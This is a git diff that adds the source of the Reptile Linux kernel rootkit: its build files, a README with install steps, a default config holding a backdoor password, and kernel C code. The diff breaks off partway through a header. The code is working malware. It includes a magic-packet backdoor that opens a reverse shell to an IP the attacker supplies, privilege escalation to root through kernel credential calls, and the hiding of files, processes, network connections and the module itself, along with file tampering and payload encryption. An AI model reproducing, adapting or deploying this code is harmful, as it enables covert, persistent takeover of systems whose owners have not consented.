+ENCRYPT ?= $(BUILD_DIR)/encrypt +KMATRYOSHKA_DIR ?= $(PWD)/kernel/kmatryoshka +PARASITE ?= $(BUILD_DIR)/reptile_module.ko +RAND1 = 0x$(shell cat /dev/urandom | head -c 4 | hexdump '-e"%x"') +RAND2 = 0x$(shell cat /dev/urandom | head -c 4 | hexdump '-e"%x"') +INCLUDE ?= -I$(PWD)/kernel/include +LOADER ?= $(PWD)/kernel/loader/loader.c +INSTALLER ?= $(PWD)/scripts/installer.sh + +all: $(BUILD_DIR_MAKEFILE) userland_bin $(ENCRYPT) module kmatryoshka reptile + +reptile: $(LOADER) + @ $(ENCRYPT) $(BUILD_DIR)/reptile.ko $(RAND2) > $(BUILD_DIR)/reptile.ko.inc + @ echo " CC $(BUILD_DIR)/$@" + @ $(CC) $(INCLUDE) -I$(BUILD_DIR) $< -o $(BUILD_DIR)/$@ + +kmatryoshka: + @ $(ENCRYPT) $(PARASITE) $(RAND1) > $(BUILD_DIR)/parasite_blob.inc + @ $(MAKE) -C $(KERNEL) M=$(BUILD_DIR) src=$(KMATRYOSHKA_DIR) + +module: + @ $(MAKE) -C $(KERNEL) M=$(BUILD_DIR) src=$(MODULE_DIR) + +$(ENCRYPT): $(ENCRYPT_SRC) + @ echo " CC $(ENCRYPT)" + @ $(CC) $(INCLUDE) -std=c99 $< -o $@ + +$(BUILD_DIR): + @ mkdir -p $(BUILD_DIR) + +$(BUILD_DIR_MAKEFILE): $(BUILD_DIR) + @ touch $@ + +config: + @ $(SHELL) $(CONFIG_SCRIPT) $@ + @ $(SHELL) $(GEN_RANDOM) $(CONFIG_FILE) + +%config: + @ $(SHELL) $(CONFIG_SCRIPT) $@ + @ $(SHELL) $(GEN_RANDOM) $(CONFIG_FILE) + +userland_bin: + @ $(MAKE) -C $(CLIENT_DIR) EXTRA_FLAGS=-D_REPTILE_ + +install: + @ $(SHELL) $(INSTALLER) + +client: $(BUILD_DIR) + @ $(MAKE) -C $(CLIENT_DIR) packet listener client + +.PHONY : clean module config + +clean: + @ $(RM) $(BUILD_DIR) $(CONFIG_FILE) \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/README.md b/Linux/Rootkits/Reptile/README.md new file mode 100644 index 0000000..7dc867d --- /dev/null +++ b/Linux/Rootkits/Reptile/README.md @@ -0,0 +1,73 @@ +# Reptile + + + +




+




+ +## Tested on + +**Debian 9**: 4.9.0-8-amd64
+**Debian 10**: 4.19.0-8-amd64
+**Ubuntu 18.04.1 LTS**: 4.15.0-38-generic
+**Kali Linux**: 4.18.0-kali2-amd64
+**Centos 6.10**: 2.6.32-754.6.3.el6.x86_64
+**Centos 7**: 3.10.0-862.3.2.el7.x86_64
+**Centos 8**: 4.18.0-147.5.1.el8_1.x86_64 + +## Features + +- Give root to unprivileged users +- Hide files and directories +- Hide processes +- Hide himself +- Hide TCP/UDP connections +- Hidden boot persistence +- File content tampering +- Some obfuscation techniques +- ICMP/UDP/TCP port-knocking backdoor +- Full TTY/PTY shell with file transfer +- Client to handle Reptile Shell +- Shell connect back each X times (not default) + +## Install +``` +apt install build-essential libncurses-dev linux-headers-$(uname -r) +git clone https://github.com/f0rb1dd3n/Reptile.git +cd Reptile +make menuconfig # or 'make config' or even 'make defconfig' +make +make install +``` +More details about the installation see [Wiki](https://github.com/f0rb1dd3n/Reptile/wiki/Install) +## Uninstall + +When you got a sucessfully installation, the way to remove that will be shown in the screen + +## Usage + +See [Wiki](https://github.com/f0rb1dd3n/Reptile/wiki/Usage) to usage details. So, read the fucking manual before opening an issue! + +## Warning + +Some functions of this module is based on another rootkits. Please see the references! + +## References + +- “[LKM HACKING](http://www.ouah.org/LKM_HACKING.html)â€, The Hackers Choice (THC), 1999; +- https://github.com/mncoppola/suterusu +- https://github.com/David-Reguera-Garcia-Dreg/enyelkm.git +- https://github.com/creaktive/tsh +- https://github.com/brenns10/lsh + +## Thanks + +Special thanks to my friend [Ilya V. Matveychikov](https://github.com/milabs) for the [KHOOK](https://github.com/milabs/khook) framework and [kmatryoshka](https://github.com/milabs/kmatryoshka) loader. + +## Disclaimer + +If you wanna more information, send me an e-mail: f0rb1dd3n@tuta.io + +

+ +

diff --git a/Linux/Rootkits/Reptile/configs/defconfig b/Linux/Rootkits/Reptile/configs/defconfig new file mode 100644 index 0000000..d913e5f --- /dev/null +++ b/Linux/Rootkits/Reptile/configs/defconfig @@ -0,0 +1,45 @@ +# +# Automatically generated file; DO NOT EDIT. +# Reptile's configuration +# + +# +# Chose the features you wanna enable +# +CONFIG_BACKDOOR=y + +# +# Backdoor configuration +# +MAGIC_VALUE="hax0r" +PASSWORD="s3cr3t" +SRCPORT=666 + +# +# END +# +CONFIG_FILE_TAMPERING=y + +# +# Name used in file tampering tags +# +TAG_NAME="reptile" + +# +# END +# +CONFIG_HIDE_PROC=y +CONFIG_HIDE_DIR=y + +# +# Hide name (needed to create Reptile's folder) +# +HIDE="reptile" + +# +# END +# +CONFIG_HIDE_CONN=y +CONFIG_AUTO_HIDE=y +CONFIG_GIVE_ROOT=y +# CONFIG_RSHELL_ON_START is not set diff --git a/Linux/Rootkits/Reptile/kernel/Kbuild b/Linux/Rootkits/Reptile/kernel/Kbuild new file mode 100644 index 0000000..3555661 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/Kbuild @@ -0,0 +1,39 @@ +MODNAME ?= reptile_module +CONFIG_FILE := $(src)/../.config + +include $(CONFIG_FILE) + +ccflags-y += -I$(src)/include -Werror -fno-stack-protector -fomit-frame-pointer +ldflags-y += -T$(src)/khook/engine.lds + +obj-m += $(MODNAME).o +$(MODNAME)-y += main.o string_helpers.o util.o + +$(MODNAME)-$(CONFIG_BACKDOOR) += backdoor.o +$(MODNAME)-$(CONFIG_HIDE_PROC) += proc.o +$(MODNAME)-$(CONFIG_HIDE_DIR) += dir.o +$(MODNAME)-$(CONFIG_FILE_TAMPERING) += file.o +$(MODNAME)-$(CONFIG_HIDE_CONN) += network.o +$(MODNAME)-$(CONFIG_AUTO_HIDE) += module.o + +ccflags-$(CONFIG_BACKDOOR) += -DCONFIG_BACKDOOR +ccflags-$(CONFIG_BACKDOOR) += -DMAGIC_VALUE=\"$(MAGIC_VALUE)\" +ccflags-$(CONFIG_BACKDOOR) += -DPASSWORD=\"$(PASSWORD)\" +ccflags-$(CONFIG_BACKDOOR) += -DSRCPORT=$(SRCPORT) + +ccflags-$(CONFIG_FILE_TAMPERING) += -DCONFIG_FILE_TAMPERING +ccflags-$(CONFIG_FILE_TAMPERING) += -DTAG_NAME=\"$(TAG_NAME)\" + +ccflags-$(CONFIG_HIDE_DIR) += -DCONFIG_HIDE_DIR +ccflags-$(CONFIG_HIDE_DIR) += -DHIDE=\"$(HIDE)\" + +ccflags-$(CONFIG_HIDE_PROC) += -DCONFIG_HIDE_PROC +ccflags-$(CONFIG_HIDE_CONN) += -DCONFIG_HIDE_CONN +ccflags-$(CONFIG_AUTO_HIDE) += -DCONFIG_AUTO_HIDE +ccflags-$(CONFIG_GIVE_ROOT) += -DCONFIG_GIVE_ROOT + +ccflags-y += -DAUTH=$(AUTH) +ccflags-y += -DHTUA=$(HTUA) + +KBUILD_CFLAGS := $(filter-out -pg,$(KBUILD_CFLAGS)) +KBUILD_CFLAGS := $(filter-out -mfentry,$(KBUILD_CFLAGS)) \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/backdoor.c b/Linux/Rootkits/Reptile/kernel/backdoor.c new file mode 100644 index 0000000..816672c --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/backdoor.c @@ -0,0 +1,266 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#include "util.h" +#include "config.h" +#include "backdoor.h" + +struct shell_task { + struct work_struct work; + char *ip; + char *port; +}; + +void shell_execer(struct work_struct *work) +{ + struct shell_task *task = (struct shell_task *)work; + char *argv[] = { SHELL_PATH, "-t", task->ip, "-p", task->port, "-s", PASSWORD, NULL }; + + exec(argv); + + kfree(task->ip); + kfree(task->port); + kfree(task); +} + +int shell_exec_queue(char *ip, char *port) +{ + struct shell_task *task; + + task = kmalloc(sizeof(*task), GFP_KERNEL); + + if (!task) + return 0; + + task->ip = kstrdup(ip, GFP_KERNEL); + if (!task->ip) { + kfree(task); + return 0; + } + + task->port = kstrdup(port, GFP_KERNEL); + if (!task->port) { + kfree(task->ip); + kfree(task); + return 0; + } + + INIT_WORK(&task->work, &shell_execer); + + return schedule_work(&task->work); +} + +#define DROP 0 +#define ACCEPT 1 + +unsigned int magic_packet_parse(struct sk_buff *socket_buffer) +{ + const struct iphdr *ip_header; + const struct icmphdr *icmp_header; + const struct tcphdr *tcp_header; + const struct udphdr *udp_header; + struct iphdr _iph; + struct icmphdr _icmph; + struct tcphdr _tcph; + struct udphdr _udph; + const char *data = NULL; + char *_data, *argv_str, **argv; + int size, str_size; + + if (!socket_buffer) + return ACCEPT; + + ip_header = skb_header_pointer(socket_buffer, 0, sizeof(_iph), &_iph); + + if (!ip_header) + return ACCEPT; + + if (!ip_header->protocol) + return ACCEPT; + + if (htons(ip_header->id) != IPID) + return ACCEPT; + + if (ip_header->protocol == IPPROTO_TCP) { + tcp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_tcph), &_tcph); + + if (!tcp_header) + return ACCEPT; + + if (htons(tcp_header->source) != SRCPORT) + return ACCEPT; + + if (//htons(tcp_header->seq) == SEQ && /* uncoment this if you wanna use tcp_header->seq as filter */ + htons(tcp_header->window) == WIN) { + size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_tcph); + + _data = kmalloc(size, GFP_KERNEL); + + if (!_data) + return ACCEPT; + + str_size = size - strlen(MAGIC_VALUE); + argv_str = kmalloc(str_size, GFP_KERNEL); + + if (!argv_str) { + kfree(_data); + return ACCEPT; + } + + data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct tcphdr), size, &_data); + + if (!data) { + kfree(_data); + kfree(argv_str); + return ACCEPT; + } + + if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) { + + memzero_explicit(argv_str, str_size); + memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); + do_decrypt(argv_str, str_size - 1, KEY); + + argv = argv_split(GFP_KERNEL, argv_str, NULL); + + if (argv) { + shell_exec_queue(argv[0], argv[1]); + argv_free(argv); + } + + kfree(_data); + kfree(argv_str); + + return DROP; + } + + kfree(_data); + kfree(argv_str); + } + } + + if (ip_header->protocol == IPPROTO_ICMP) { + icmp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_icmph), &_icmph); + + if (!icmp_header) + return ACCEPT; + + if (icmp_header->code != ICMP_ECHO) + return ACCEPT; + + if (htons(icmp_header->un.echo.sequence) == SEQ && + htons(icmp_header->un.echo.id) == WIN) { + + size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_icmph); + + _data = kmalloc(size, GFP_KERNEL); + + if (!_data) + return ACCEPT; + + str_size = size - strlen(MAGIC_VALUE); + argv_str = kmalloc(str_size, GFP_KERNEL); + + if (!argv_str) { + kfree(_data); + return ACCEPT; + } + + data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct icmphdr), size, &_data); + + if (!data) { + kfree(_data); + kfree(argv_str); + return ACCEPT; + } + + if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) { + + memzero_explicit(argv_str, str_size); + memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); + do_decrypt(argv_str, str_size - 1, KEY); + + argv = argv_split(GFP_KERNEL, argv_str, NULL); + + if (argv) { + shell_exec_queue(argv[0], argv[1]); + argv_free(argv); + } + + kfree(_data); + kfree(argv_str); + + return DROP; + } + + kfree(_data); + kfree(argv_str); + } + } + + if (ip_header->protocol == IPPROTO_UDP) { + udp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_udph), &_udph); + + if (!udp_header) + return ACCEPT; + + if (htons(udp_header->source) != SRCPORT) + return ACCEPT; + + if (htons(udp_header->len) <= (sizeof(struct udphdr) + strlen(MAGIC_VALUE) + 25)) { + + size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_udph); + + _data = kmalloc(size, GFP_KERNEL); + + if (!_data) + return ACCEPT; + + str_size = size - strlen(MAGIC_VALUE); + argv_str = kmalloc(str_size, GFP_KERNEL); + + if (!argv_str) { + kfree(_data); + return ACCEPT; + } + + data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct udphdr), size, &_data); + + if (!data) { + kfree(_data); + kfree(argv_str); + return ACCEPT; + } + + if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) { + + memzero_explicit(argv_str, str_size); + memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); + do_decrypt(argv_str, str_size - 1, KEY); + + argv = argv_split(GFP_KERNEL, argv_str, NULL); + + if (argv) { + shell_exec_queue(argv[0], argv[1]); + argv_free(argv); + } + + kfree(_data); + kfree(argv_str); + + return DROP; + } + + kfree(_data); + kfree(argv_str); + } + } + + return ACCEPT; +} \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/dir.c b/Linux/Rootkits/Reptile/kernel/dir.c new file mode 100644 index 0000000..35f1ef9 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/dir.c @@ -0,0 +1,21 @@ +#include +#include +#include +#include +#include + +#include "dir.h" +#include "config.h" + +int is_name_invisible(const char __user *filename) +{ + int ret = 0; + char *name = kmalloc(PATH_MAX, GFP_KERNEL); + + if (strncpy_from_user(name, filename, PATH_MAX) > 0) + if (strstr(name, HIDE)) + ret = 1; + + kfree(name); + return ret; +} \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/encrypt/encrypt.c b/Linux/Rootkits/Reptile/kernel/encrypt/encrypt.c new file mode 100644 index 0000000..dd01ead --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/encrypt/encrypt.c @@ -0,0 +1,52 @@ +#include +#include +#include + +#include "encrypt.h" + +static long get_file_size(FILE *file) +{ + long size; + fseek(file, 0, SEEK_END); + size = ftell(file); + rewind(file); + return size; +} + +int main(int argc, char **argv) +{ + if (argc != 3) { + fprintf(stderr, "USAGE: encrypt \n"); + exit(-1); + } + + FILE *file = fopen(argv[1], "rb"); + if (!file) { + fprintf(stderr, "Can't open %s for reading\n", argv[1]); + exit(-1); + } + + long size = get_file_size(file); + unsigned char *data = malloc(size); + if (!data) { + fprintf(stderr, "Can't allocate memory\n"); + exit(-1); + } + + if (fread(data, size, 1, file) != 1) { + fprintf(stderr, "Can't read data from file\n"); + exit(-1); + } + + fclose(file); + + uint32_t key = strtol(argv[2], NULL, 16); + do_encrypt(data, size, key); + + printf("#define DECRYPT_KEY 0x%08x\n", key); + for (int i = 0; i < size; i++) { + printf("0x%02x,", data[i]); + } + + return 0; +} diff --git a/Linux/Rootkits/Reptile/kernel/file.c b/Linux/Rootkits/Reptile/kernel/file.c new file mode 100644 index 0000000..3cd7b84 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/file.c @@ -0,0 +1,65 @@ +#include +#include + +#include "file.h" + +int file_check(void *arg, ssize_t size) +{ + int ret = 0; + char *buf; + + if ((size <= 0) || (size >= SSIZE_MAX)) + return ret; + + buf = (char *)kmalloc(size + 1, GFP_KERNEL); + if (!buf) + return ret; + + if (copy_from_user((void *)buf, (void *)arg, size)) + goto out; + + buf[size] = 0; + + if ((strstr(buf, HIDETAGIN) != NULL) && (strstr(buf, HIDETAGOUT) != NULL)) + ret = 1; + +out: + kfree(buf); + return ret; +} + +int hide_content(void *arg, ssize_t size) +{ + char *buf, *p1, *p2; + int i, newret; + + buf = (char *)kmalloc(size, GFP_KERNEL); + if (!buf) + return (-1); + + if (copy_from_user((void *)buf, (void *)arg, size)) { + kfree(buf); + return size; + } + + p1 = strstr(buf, HIDETAGIN); + p2 = strstr(buf, HIDETAGOUT); + p2 += strlen(HIDETAGOUT); + + if (p1 >= p2 || !p1 || !p2) { + kfree(buf); + return size; + } + + i = size - (p2 - buf); + memmove((void *)p1, (void *)p2, i); + newret = size - (p2 - p1); + + if (copy_to_user((void *)arg, (void *)buf, newret)) { + kfree(buf); + return size; + } + + kfree(buf); + return newret; +} \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/backdoor.h b/Linux/Rootkits/Reptile/kernel/include/backdoor.h new file mode 100644 index 0000000..f8cdbbd --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/backdoor.h @@ -0,0 +1 @@ +unsigned int magic_packet_parse(struct sk_buff *socket_buffer); \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/config.h b/Linux/Rootkits/Reptile/kernel/include/config.h new file mode 100644 index 0000000..48d2193 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/config.h @@ -0,0 +1,26 @@ +/* + * You can change the configurations in this file if you want. + * But you need to make sure you'll change it in the client too. + * + * FIXME: randomly generate KEY, IPID, SEQ and WIN. + * + * Note: I know it is not a good practice to have those configurations + * constants, but since there is already known issues in Reptile, this + * will be the least of your problems. It will be updated next version! + * + */ + +#ifdef CONFIG_BACKDOOR +# define SHELL_PATH "/"HIDE"/"HIDE"_shell" +# define KEY 0x6de56d3b +# define IPID 3429 +# define SEQ 15123 +# define WIN 9965 +#endif + +#ifdef CONFIG_FILE_TAMPERING +# define HIDETAGIN "#<"TAG_NAME">" +# define HIDETAGOUT "#" +#endif + +#define START_SCRIPT "/"HIDE"/"HIDE"_start" \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/dir.h b/Linux/Rootkits/Reptile/kernel/include/dir.h new file mode 100644 index 0000000..0ca61cb --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/dir.h @@ -0,0 +1 @@ +int is_name_invisible(const char __user *filename); \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/encrypt.h b/Linux/Rootkits/Reptile/kernel/include/encrypt.h new file mode 100644 index 0000000..e941c39 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/encrypt.h @@ -0,0 +1,20 @@ +#ifndef __LOADER_H__ +#define __LOADER_H__ + +#define do_encrypt(ptr, len, key) do_encode(ptr, len, key) +#define do_decrypt(ptr, len, key) do_encode(ptr, len, key) + +static inline unsigned int custom_rol32(unsigned int val, int n) +{ + return ((val << n) | (val >> (32 - n))); +} + +static inline void do_encode(void *ptr, unsigned int len, unsigned int key) +{ + while (len > sizeof(key)) { + *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); + len -= sizeof(key), ptr += sizeof(key); + } +} + +#endif diff --git a/Linux/Rootkits/Reptile/kernel/include/file.h b/Linux/Rootkits/Reptile/kernel/include/file.h new file mode 100644 index 0000000..d4a1064 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/file.h @@ -0,0 +1,16 @@ +#include "config.h" + +#define SSIZE_MAX 32767 + +extern int file_tampering_flag; + +int file_check(void *arg, ssize_t size); +int hide_content(void *arg, ssize_t size); + +static inline void file_tampering(void) +{ + if (file_tampering_flag) + file_tampering_flag = 0; + else + file_tampering_flag = 1; +} \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/module.h b/Linux/Rootkits/Reptile/kernel/include/module.h new file mode 100644 index 0000000..c2ddb3a --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/module.h @@ -0,0 +1 @@ +void hide_module(void); \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/network.h b/Linux/Rootkits/Reptile/kernel/include/network.h new file mode 100644 index 0000000..5ace97a --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/network.h @@ -0,0 +1,12 @@ +#include + +struct hidden_conn { + struct sockaddr_in addr; + struct list_head list; +}; + +extern struct list_head hidden_conn_list; + +void network_hide_add(struct sockaddr_in addr); +void network_hide_remove(struct sockaddr_in addr); +//void hide_conn(char *ip_str); \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/proc.h b/Linux/Rootkits/Reptile/kernel/include/proc.h new file mode 100644 index 0000000..b46482a --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/proc.h @@ -0,0 +1,17 @@ +#define FLAG 0x80000000 + +struct tgid_iter { + unsigned int tgid; + struct task_struct *task; +}; + +static inline int is_task_invisible(struct task_struct *task) +{ + return task->flags & FLAG; +} + +int flag_tasks(pid_t pid, int set); +int is_proc_invisible(pid_t pid); +int is_proc_invisible_2(const char __user *filename); +//void hide_proc(char *pid_str); +void hide_proc(pid_t pid); \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/string_helpers.h b/Linux/Rootkits/Reptile/kernel/include/string_helpers.h new file mode 100644 index 0000000..6b37dfd --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/string_helpers.h @@ -0,0 +1,18 @@ +#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0) + +#include +#include + +char *kstrdup_quotable_cmdline(struct task_struct *task, gfp_t gfp); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0) +char *strreplace(char *s, char old, char new); +#endif + +#else +# include +# include +# include +#endif \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/include/util.h b/Linux/Rootkits/Reptile/kernel/include/util.h new file mode 100644 index 0000000..0b479c9 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/include/util.h @@ -0,0 +1,89 @@ +#include +#include +#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 14, 0) +# include +#else +# include +#endif + +#define do_encrypt(ptr, len, key) do_encode(ptr, len, key) +#define do_decrypt(ptr, len, key) do_encode(ptr, len, key) + +static inline unsigned int custom_rol32(unsigned int val, int n) +{ + return ((val << n) | (val >> (32 - n))); +} + +static inline void do_encode(void *ptr, unsigned int len, unsigned int key) +{ + while (len > sizeof(key)) { + *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); + len -= sizeof(key), ptr += sizeof(key); + } +} + +static inline int exec(char **argv) +{ + char *envp[] = {"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL}; + return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); +} + +static inline int run_cmd(char *cmd) +{ + char *argv[] = {"/bin/bash", "-c", cmd, NULL}; + return exec(argv); +} + +static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, + unsigned long addr) +{ + int i = 0; + while (!module && (((const char *)data[0]))[i] == name[i]) { + if (!name[i++]) + return !!(data[1] = addr); + } + return 0; +} + +static inline unsigned long ksym_lookup_name(const char *name) +{ + unsigned long data[2] = {(unsigned long)name, 0}; + kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); + return data[1]; +} + +#ifdef CONFIG_GIVE_ROOT +static inline void get_root(void) +{ +#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) + current->uid = 0; + current->suid = 0; + current->euid = 0; + current->gid = 0; + current->egid = 0; + current->fsuid = 0; + current->fsgid = 0; + cap_set_full(current->cap_effective); + cap_set_full(current->cap_inheritable); + cap_set_full(current->cap_permitted); +#else + commit_creds(prepare_kernel_cred(0)); +#endif +} +#endif + +extern int hidden; + +static inline void flip_hidden_flag(void) +{ + if (hidden) + hidden = 0; + else + hidden = 1; +} + +int util_init(void); +int get_cmdline(struct task_struct *task, char *buffer, int buflen); +//int run_cmd(const char *cmd); \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/khook/engine.c b/Linux/Rootkits/Reptile/kernel/khook/engine.c new file mode 100644 index 0000000..d54d889 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/engine.c @@ -0,0 +1,153 @@ +#include "internal.h" + +static khook_stub_t *khook_stub_tbl = NULL; + +//////////////////////////////////////////////////////////////////////////////// + +static int khook_lookup_cb(long data[], const char *name, void *module, long addr) +{ + int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) { + if (!name[i++]) return !!(data[1] = addr); + } return 0; +} + +static void *khook_lookup_name(const char *name) +{ + long data[2] = { (long)name, 0 }; + kallsyms_on_each_symbol((void *)khook_lookup_cb, data); + return (void *)data[1]; +} + +static void *khook_map_writable(void *addr, size_t len) +{ + struct page *pages[2] = { 0 }; // len << PAGE_SIZE + long page_offset = offset_in_page(addr); + int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE); + + addr = (void *)((long)addr & PAGE_MASK); + for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) { + if ((pages[i] = is_vmalloc_addr(addr) ? + vmalloc_to_page(addr) : virt_to_page(addr)) == NULL) + return NULL; + } + + addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL); + return addr ? addr + page_offset : NULL; +} + +//////////////////////////////////////////////////////////////////////////////// + +#ifdef CONFIG_X86 +# include "x86/hook.c" +#else +# error Target CPU architecture is NOT supported !!! +#endif + +//////////////////////////////////////////////////////////////////////////////// + +static void khook_wakeup(void) +{ + struct task_struct *p; + rcu_read_lock(); + for_each_process(p) { + wake_up_process(p); + } + rcu_read_unlock(); +} + +static int khook_sm_init_hooks(void *arg) +{ + khook_t *p; + KHOOK_FOREACH_HOOK(p) { + if (!p->target.addr_map) continue; + khook_arch_sm_init_one(p); + } + return 0; +} + +static int khook_sm_cleanup_hooks(void *arg) +{ + khook_t *p; + KHOOK_FOREACH_HOOK(p) { + if (!p->target.addr_map) continue; + khook_arch_sm_cleanup_one(p); + } + return 0; +} + +static void khook_resolve(void) +{ + khook_t *p; + KHOOK_FOREACH_HOOK(p) { + p->target.addr = khook_lookup_name(p->target.name); + } +} + +static void khook_map(void) +{ + khook_t *p; + KHOOK_FOREACH_HOOK(p) { + if (!p->target.addr) continue; + p->target.addr_map = khook_map_writable(p->target.addr, 32); + khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map); + } +} + +static void khook_unmap(int wait) +{ + khook_t *p; + KHOOK_FOREACH_HOOK(p) { + khook_stub_t *stub = KHOOK_STUB(p); + if (!p->target.addr_map) continue; + while (wait && atomic_read(&stub->use_count) > 0) { + khook_wakeup(); + msleep_interruptible(1000); + khook_debug("waiting for %s...\n", p->target.name); + } + vunmap((void *)((long)p->target.addr_map & PAGE_MASK)); + p->target.addr_map = NULL; + } +} + +//////////////////////////////////////////////////////////////////////////////// + +int khook_init(void) +{ + void *(*malloc)(long size) = NULL; + int (*set_memory_x)(unsigned long, int) = NULL; + + malloc = khook_lookup_name("module_alloc"); + if (!malloc || KHOOK_ARCH_INIT()) return -EINVAL; + + khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE); + if (!khook_stub_tbl) return -ENOMEM; + memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE); + + // + // Since some point memory allocated by module_alloc() doesn't + // have eXecutable attributes. That's why we have to mark the + // region executable explicitly. + // + + set_memory_x = khook_lookup_name("set_memory_x"); + if (set_memory_x) { + int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE; + set_memory_x((unsigned long)khook_stub_tbl, numpages); + } + + khook_resolve(); + + khook_map(); + stop_machine(khook_sm_init_hooks, NULL, NULL); + khook_unmap(0); + + return 0; +} + +void khook_cleanup(void) +{ + khook_map(); + stop_machine(khook_sm_cleanup_hooks, NULL, NULL); + khook_unmap(1); + vfree(khook_stub_tbl); +} diff --git a/Linux/Rootkits/Reptile/kernel/khook/engine.h b/Linux/Rootkits/Reptile/kernel/khook/engine.h new file mode 100644 index 0000000..46237b2 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/engine.h @@ -0,0 +1,46 @@ +#pragma once + +#include + +#define KHOOK_F_NOREF (1UL << 0) // don't do auto ref-count + +typedef struct { + void *fn; // handler fn address + struct { + const char *name; // target symbol name + char *addr; // target symbol addr (see khook_lookup_name) + char *addr_map; // writable mapping of target symbol + } target; + void *orig; // original fn call wrapper + unsigned long flags; // hook engine options (flags) +} khook_t; + +#define KHOOK_(t, f) \ + static inline typeof(t) khook_##t; /* forward decl */ \ + khook_t \ + __attribute__((unused)) \ + __attribute__((aligned(1))) \ + __attribute__((section(".data.khook"))) \ + KHOOK_##t = { \ + .fn = khook_##t, \ + .target.name = #t, \ + .flags = f, \ + } + +#define KHOOK(t) \ + KHOOK_(t, 0) +#define KHOOK_EXT(r, t, ...) \ + extern r t(__VA_ARGS__); \ + KHOOK_(t, 0) + +#define KHOOK_NOREF(t) \ + KHOOK_(t, KHOOK_F_NOREF) +#define KHOOK_NOREF_EXT(r, t, ...) \ + extern r t(__VA_ARGS__); \ + KHOOK_(t, KHOOK_F_NOREF) + +#define KHOOK_ORIGIN(t, ...) \ + ((typeof(t) *)KHOOK_##t.orig)(__VA_ARGS__) + +extern int khook_init(void); +extern void khook_cleanup(void); diff --git a/Linux/Rootkits/Reptile/kernel/khook/engine.lds b/Linux/Rootkits/Reptile/kernel/khook/engine.lds new file mode 100644 index 0000000..ab37384 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/engine.lds @@ -0,0 +1,8 @@ +SECTIONS +{ + .data : { + KHOOK_tbl = . ; + *(.data.khook) + KHOOK_tbl_end = . ; + } +} diff --git a/Linux/Rootkits/Reptile/kernel/khook/internal.h b/Linux/Rootkits/Reptile/kernel/khook/internal.h new file mode 100644 index 0000000..3d840d3 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/internal.h @@ -0,0 +1,60 @@ +#pragma once + +#include +#include +#include +#include +#include +#include +#include + +#ifndef for_each_process +# include +#endif + +#include "engine.h" + +extern khook_t KHOOK_tbl[]; +extern khook_t KHOOK_tbl_end[]; + +#define KHOOK_FOREACH_HOOK(p) \ + for (p = 